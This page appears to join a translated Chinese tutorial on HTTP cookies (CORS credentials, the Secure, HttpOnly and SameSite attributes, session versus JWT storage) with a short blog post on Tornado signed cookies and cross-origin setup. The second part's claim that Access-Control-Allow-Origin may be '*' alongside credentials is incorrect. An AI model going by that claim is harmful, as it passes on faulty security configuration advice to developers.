fetch("http://localhost:5000/api/cities/", {
credentials: "include"
})
.then(response => {
// make sure to check response.ok in the real world!
return response.json();
})
.then(json => console.log(json));
}
credentials: "include" 必須在第一個(gè) Fetch 請(qǐng)求中出現(xiàn),才能將Cookie保存在瀏覽器的Cookie storage 中:
fetch("http://localhost:5000/get-cookie/", {
credentials: "include"
})
它還必須在第二個(gè)請(qǐng)求時(shí)出現(xiàn),以允許將cookie傳輸回后端
fetch("http://localhost:5000/api/cities/", {
credentials: "include"
})
再試一次,我們還需要在后端修復(fù)另一個(gè)錯(cuò)誤:
Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at http://localhost:5000/get-cookie/. (Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’).
為了允許在CORS請(qǐng)求中傳輸cookie,后端還需要設(shè)置 Access-Control-Allow-Credentials標(biāo)頭。
CORS(app=app, supports_credentials=True)
要點(diǎn):為了使Cookie在不同來(lái)源之間通過(guò)AJAX請(qǐng)求傳遞,可以這樣做:
cookie可以通過(guò)AJAX請(qǐng)求傳遞,但是它們必須遵守我們前面描述的域規(guī)則。
Secure 屬性是說(shuō)如果一個(gè) cookie 被設(shè)置了Secure=true,那么這個(gè)cookie只能用https協(xié)議發(fā)送給服務(wù)器,用 http 協(xié)議是不發(fā)送的。換句話說(shuō),cookie 是在https的情況下創(chuàng)建的,而且他的Secure=true,那么之后你一直用https訪問(wèn)其他的頁(yè)面(比如登錄之后點(diǎn)擊其他子頁(yè)面),cookie會(huì)被發(fā)送到服務(wù)器,你無(wú)需重新登錄就可以跳轉(zhuǎn)到其他頁(yè)面。但是如果這時(shí)你把url改成http協(xié)議訪問(wèn)其他頁(yè)面,你就需要重新登錄了,因?yàn)檫@個(gè)cookie不能在http協(xié)議中發(fā)送。
可以這樣設(shè)置 Secure 屬性
response.set_cookie(key="id", value="3db4adj3d", secure=True)
如果要在真實(shí)環(huán)境中嘗試,請(qǐng)可以運(yùn)行以下命令,并注意curl在此處是不通過(guò)HTTP保存cookie:
curl -I http://serene-bastion-01422.herokuapp.com/get-secure-cookie/ --cookie-jar -
相反,通過(guò)HTTPS,cookie 出現(xiàn)在cookie jar中:
curl -I https://serene-bastion-01422.herokuapp.com/get-secure-cookie/ --cookie-jar -
cookie jar 文件:
serene-bastion-01422.herokuapp.com FALSE / TRUE 0
不要被Secure欺騙:瀏覽器通過(guò)HTTPS接受cookie,但是一旦cookie進(jìn)入瀏覽器,就沒(méi)有任何保護(hù)。
因?yàn)閹в?Secure 的 Cookie 一般也不用于傳輸敏感數(shù)據(jù).
如果cookie中設(shè)置了HttpOnly屬性,那么通過(guò)js腳本將無(wú)法讀取到cookie信息,這樣能有效的防止XSS攻擊,竊取cookie內(nèi)容,這樣就增加了cookie的安全性,即便是這樣,也不要將重要信息存入cookie。
XSS 全稱(chēng)Cross SiteScript,跨站腳本攻擊,是Web程序中常見(jiàn)的漏洞,XSS屬于被動(dòng)式且用于客戶(hù)端的攻擊方式,所以容易被忽略其危害性。其原理是攻擊者向有XSS漏洞的網(wǎng)站中輸入(傳入)惡意的HTML代碼,當(dāng)其它用戶(hù)瀏覽該網(wǎng)站時(shí),這段HTML代碼會(huì)自動(dòng)執(zhí)行,從而達(dá)到攻擊的目的。如,盜取用戶(hù)Cookie、破壞頁(yè)面結(jié)構(gòu)、重定向到其它網(wǎng)站等。
如果有設(shè)置 HttpOnly 看起來(lái)是這樣的:
Set-Cookie: "id=3db4adj3d; HttpOnly"
在 Flask 中
response.set_cookie(key="id", value="3db4adj3d", httponly=True)
這樣,cookie 設(shè)置了HttpOnly屬性,那么通過(guò)js腳本將無(wú)法讀取到cookie信息。如果在控制臺(tái)中進(jìn)行檢查,則document.cookie將返回一個(gè)空字符串。
何時(shí)使用HttpOnly?cookie 應(yīng)該始終是HttpOnly的,除非有特定的要求將它們暴露給運(yùn)行時(shí) JS。
查看https://serene-bastion-01422.herokuapp.com/get-cookie/ 中所攜帶的 Cookie
Set-Cookie: simplecookiename=c00l-c00k13; Path=/
first-party是指你登錄或使用的網(wǎng)站所發(fā)行的 cookie,而third-party cookie 常為一些廣告網(wǎng)站,有侵犯隱私以及安全隱患。
我們將這類(lèi) Cookie 稱(chēng)為 first-party。也就是說(shuō),我在瀏覽器中訪問(wèn)該URL,并且如果我訪問(wèn)相同的URL或該站點(diǎn)的另一個(gè)路徑(假設(shè)Path為/),則瀏覽器會(huì)將cookie發(fā)送回該網(wǎng)站。
現(xiàn)在考慮在https://serene-bastion-01422.herokuapp.com/get-frog/上的另一個(gè)網(wǎng)頁(yè)。該頁(yè)面設(shè)置了一個(gè)cookie,此外,它還從https://www.valentinog.com/cookie-frog.jpg托管的遠(yuǎn)程資源中加載圖像。
該遠(yuǎn)程資源又會(huì)自行設(shè)置一個(gè)cookie:
我們將這種 cookie 稱(chēng)為third-party(第三方) Cookie。
第三方 Cookie 除了用于 CSRF 攻擊,還可以用于用戶(hù)追蹤。比如,F(xiàn)acebook 在第三方網(wǎng)站插入一張看不見(jiàn)的圖片。
<img src="facebook.com" style="visibility:hidden;">
瀏覽器加載上面代碼時(shí),就會(huì)向 Facebook 發(fā)出帶有 Cookie 的請(qǐng)求,從而 Facebook 就會(huì)知道你是誰(shuí),訪問(wèn)了什么網(wǎng)站。
Cookie 的SameSite 屬性用來(lái)限制third-party Cookie,從而減少安全風(fēng)險(xiǎn)。它可以設(shè)置三個(gè)值。
Strict最為嚴(yán)格,完全禁止第三方 Cookie,跨站點(diǎn)時(shí),任何情況下都不會(huì)發(fā)送 Cookie。換言之,只有當(dāng)前網(wǎng)頁(yè)的 URL 與請(qǐng)求目標(biāo)一致,才會(huì)帶上 Cookie。
Set-Cookie: CookieName=CookieValue; SameSite=Strict;
這個(gè)規(guī)則過(guò)于嚴(yán)格,可能造成非常不好的用戶(hù)體驗(yàn)。比如,當(dāng)前網(wǎng)頁(yè)有一個(gè) GitHub 鏈接,用戶(hù)點(diǎn)擊跳轉(zhuǎn)就不會(huì)帶有 GitHub 的 Cookie,跳轉(zhuǎn)過(guò)去總是未登陸狀態(tài)。
Lax規(guī)則稍稍放寬,大多數(shù)情況也是不發(fā)送第三方 Cookie,但是導(dǎo)航到目標(biāo)網(wǎng)址的 Get 請(qǐng)求除外。
Set-Cookie: CookieName=CookieValue; SameSite=Lax;
導(dǎo)航到目標(biāo)網(wǎng)址的 GET 請(qǐng)求,只包括三種情況:鏈接,預(yù)加載請(qǐng)求,GET 表單。詳見(jiàn)下表。
設(shè)置了Strict或Lax以后,基本就杜絕了 CSRF 攻擊。當(dāng)然,前提是用戶(hù)瀏覽器支持 SameSite 屬性。
Chrome 計(jì)劃將Lax變?yōu)槟J(rèn)設(shè)置。這時(shí),網(wǎng)站可以選擇顯式關(guān)閉SameSite屬性,將其設(shè)為None。不過(guò),前提是必須同時(shí)設(shè)置Secure屬性(Cookie 只能通過(guò) HTTPS 協(xié)議發(fā)送),否則無(wú)效。
下面的設(shè)置無(wú)效。
Set-Cookie: widget_session=abc123; SameSite=None
下面的設(shè)置有效。
Set-Cookie: widget_session=abc123; SameSite=None; Secure
身份驗(yàn)證是 web 開(kāi)發(fā)中最具挑戰(zhàn)性的任務(wù)之一。關(guān)于這個(gè)主題似乎有很多困惑,因?yàn)镴WT中的基于令牌的身份驗(yàn)證似乎要取代“舊的”、可靠的模式,如基于會(huì)話的身份驗(yàn)證。
來(lái)看看 cookie 在這里扮演什么角色。
身份驗(yàn)證是 cookie 最常見(jiàn)的用例之一。
當(dāng)你訪問(wèn)一個(gè)請(qǐng)求身份驗(yàn)證的網(wǎng)站時(shí),后端將通過(guò)憑據(jù)提交(例如通過(guò)表單)在后臺(tái)發(fā)送一個(gè)Set-Cookie標(biāo)頭到前端。
型的會(huì)話 cookie 如下所示:
Set-Cookie: sessionid=sty1z3kz11mpqxjv648mqwlx4ginpt6c; expires=Tue, 09 Jun 2020 15:46:52 GMT; HttpOnly; Max-Age=1209600; Path=/; SameSite=Lax
這個(gè)Set-Cookie頭中,服務(wù)器可以包括一個(gè)名為session、session id或類(lèi)似的cookie。
這是瀏覽器可以清楚看到的唯一標(biāo)識(shí)符。每當(dāng)通過(guò)身份驗(yàn)證的用戶(hù)向后端請(qǐng)求新頁(yè)面時(shí),瀏覽器就會(huì)發(fā)回會(huì)話cookie。
基于會(huì)話的身份驗(yàn)證是有狀態(tài)的,因?yàn)楹蠖吮仨毟櫭總€(gè)用戶(hù)的會(huì)話。這些會(huì)話的存儲(chǔ)可能是:
在這三個(gè)會(huì)話存儲(chǔ)中,Redis 之類(lèi)應(yīng)優(yōu)先于數(shù)據(jù)庫(kù)或文件系統(tǒng)。
請(qǐng)注意,基于會(huì)話的身份驗(yàn)證與瀏覽器的會(huì)話存儲(chǔ)無(wú)關(guān)。
之所以稱(chēng)為基于會(huì)話的會(huì)話,是因?yàn)橛糜谟脩?hù)識(shí)別的相關(guān)數(shù)據(jù)存在于后端的會(huì)話存儲(chǔ)中,這與瀏覽器的會(huì)話存儲(chǔ)不同。
只要能使用就使用它。基于會(huì)話的身份驗(yàn)證是一種最簡(jiǎn)單、安全、直接的網(wǎng)站身份驗(yàn)證形式。默認(rèn)情況下,它可以在Django等所有流行的web框架上使用。
但是,它的狀態(tài)特性也是它的主要缺點(diǎn),特別是當(dāng)網(wǎng)站是由負(fù)載均衡器提供服務(wù)時(shí)。在這種情況下,像粘貼會(huì)話,或者在集中的Redis存儲(chǔ)上存儲(chǔ)會(huì)話這樣的技術(shù)會(huì)有所幫助。
JWT是 JSON Web Tokens的縮寫(xiě),是一種身份驗(yàn)證機(jī)制,近年來(lái)越來(lái)越流行。
JWT 非常適合單頁(yè)和移動(dòng)應(yīng)用程序,但它帶來(lái)了一系列新挑戰(zhàn)。想要針對(duì)API進(jìn)行身份驗(yàn)證的前端應(yīng)用程序的典型流程如下:
這種方法帶來(lái)的主要問(wèn)題是:為了使用戶(hù)保持登錄狀態(tài),我將該令牌存儲(chǔ)在前端的哪個(gè)地方?
對(duì)于前端開(kāi)發(fā)來(lái)說(shuō),最自然的事情是將令牌保存在localStorage中。由于許多原因,這很糟糕。
localStorage很容易從 JS 代碼訪問(wèn),而且它很容易成為XSS攻擊的目標(biāo)。
為了解決此問(wèn)題,大多數(shù)開(kāi)發(fā)人員都將JWT令牌保存在cookie中,以為HttpOnly和Secure可以保護(hù)cookie,至少可以免受XSS攻擊。
將 SameSite 設(shè)置為 strict 就可以完全保護(hù) JWT免受CSRF攻擊
設(shè)置為SameSite=Strict的新SameSite屬性還將保護(hù)你的“熟化” JWT免受CSRF攻擊。但是,由于SameSite=Strict不會(huì)在跨域請(qǐng)求上發(fā)送cookie,因此,這也完全使JWT的用例無(wú)效。
那SameSite=Lax呢?此模式允許使用安全的HTTP方法(即GET,HEAD,OPTIONS和TRACE)將 cookie發(fā)送回去。POST 請(qǐng)求不會(huì)以任何一種方式傳輸 cookie。
實(shí)際上,將JWT標(biāo)記存儲(chǔ)在cookie或localStorage中都不是好主意。
如果你確實(shí)要使用JWT而不是堅(jiān)持使用基于會(huì)話的身份驗(yàn)證并擴(kuò)展會(huì)話存儲(chǔ),則可能要使用帶有刷新令牌的JWT來(lái)保持用戶(hù)登錄。
自1994年以來(lái),HTTP cookie一直存在,它們無(wú)處不在。
Cookies是簡(jiǎn)單的文本字符串,但可以通過(guò)Domain和Path對(duì)其權(quán)限進(jìn)行控制,具有Secure的Cookie,只能通過(guò) HTTP S進(jìn)行傳輸,而可以使用 HttpOnly從 JS隱藏。
但是,對(duì)于所有預(yù)期的用途,cookie都可能使用戶(hù)暴露于攻擊和漏洞之中。
瀏覽器的供應(yīng)商和Internet工程任務(wù)組(Internet Engineering Task Force)年復(fù)一年地致力于提高cookie的安全性,最近的一步是SameSite。
那么,什么才算是比較安全cookie?,如下幾點(diǎn):
人才們的 【三連】 就是小智不斷分享的最大動(dòng)力,如果本篇博客有任何錯(cuò)誤和建議,歡迎人才們留言,最后,謝謝大家的觀看。
作者:valentinog 譯者:前端小智 來(lái)源:valentinog
原文:https://gizmodo.com/the-complete-guide-to-cookies-and-all-the-stuff-w-1794247382
首先看一下后端代碼,用Tornado框架寫(xiě)的,繼承web.py里面的方法,首先先看一下源代碼:
def get_cookie(self, name, default=None): """Gets the value of the cookie with the given name, else default.""" def set_cookie(self, name, value, domain=None, expires=None, path="/", expires_days=None, **kwargs): """Sets the given cookie name/value with the given options. Additional keyword arguments are set on the Cookie.Morsel directly. See http://docs.python.org/library/cookie.html#morsel-objects for available attributes. """ def get_secure_cookie(self, name, value=None, max_age_days=31, min_version=None): """Returns the given signed cookie if it validates, or None. The decoded cookie value is returned as a byte string (unlike `get_cookie`). .. versionchanged:: 3.2.1 Added the ``min_version`` argument. Introduced cookie version 2; both versions 1 and 2 are accepted by default. """ def set_secure_cookie(self, name, value, expires_days=30, version=None, **kwargs): """Signs and timestamps a cookie so it cannot be forged. You must specify the ``cookie_secret`` setting in your Application to use this method. It should be a long, random sequence of bytes to be used as the HMAC secret for the signature. To read a cookie set with this method, use `get_secure_cookie()`. Note that the ``expires_days`` parameter sets the lifetime of the cookie in the browser, but is independent of the ``max_age_days`` parameter to `get_secure_cookie`. Secure cookies may contain arbitrary byte values, not just unicode strings (unlike regular cookies) .. versionchanged:: 3.2.1 Added the ``version`` argument. Introduced cookie version 2 and made it the default. """
詳細(xì)的實(shí)現(xiàn)過(guò)程可以看一下源代碼的邏輯,這里只簡(jiǎn)單說(shuō)一下set_cookie/set_secure_cookie兩個(gè)方法,主要區(qū)別就是value經(jīng)過(guò) create_signed_value的處理。set_secure_cookie能夠防止用戶(hù)的cookie被偽造。
create_signed_value,得到當(dāng)前時(shí)間,將要存的value base64編碼,通過(guò)_cookie_signature將 加上name,這三個(gè)值加密生成簽名。然后將簽名,value的base64編碼,時(shí)間戳用|連接,作為cookie的值。
_cookie_signature,就是根據(jù)settings里邊的 保密的密鑰生成簽名返回。
get_secure_cookie,用|分割cookie的value,通過(guò)name,原value的base64的編碼,時(shí)間戳得到簽名,驗(yàn)證簽名是否正確,正確返回,還多了一個(gè)過(guò)期時(shí)間的判斷
如果別人想偽造用戶(hù)的cookie,必須要知道密鑰,才能生成正確的簽名,不然通過(guò) get_secure_cookie獲取value的時(shí)候,不會(huì)通過(guò)驗(yàn)證,然后就不會(huì)返回偽造的cookie值。
好了,介紹完就該踩坑了~~~~
set_cookie后瀏覽器不顯示cookie信息,咋回事這是.......
Ajax也沒(méi)什么問(wèn)題啊,好了好了,不賣(mài)關(guān)子了,哈哈上方法:
Ajax請(qǐng)求
crossDomain: true,//請(qǐng)求偏向外域 xhrFields: {withCredentials: true},//一定要加上這兩個(gè)請(qǐng)求頭
后端代碼
self.set_header(name="Access-Control-Allow-Origin", value="http://localhost:63342") self.set_header(name="Access-Control-Allow-Credentials", value="true")
這里面的Value就是你前端頁(yè)面的請(qǐng)求地址,也可以設(shè)置為*,所有請(qǐng)求地址都可以訪問(wèn).
好啦,可以啦,哦啦啦...........
*請(qǐng)認(rèn)真填寫(xiě)需求信息,我們會(huì)在24小時(shí)內(nèi)與您取得聯(lián)系。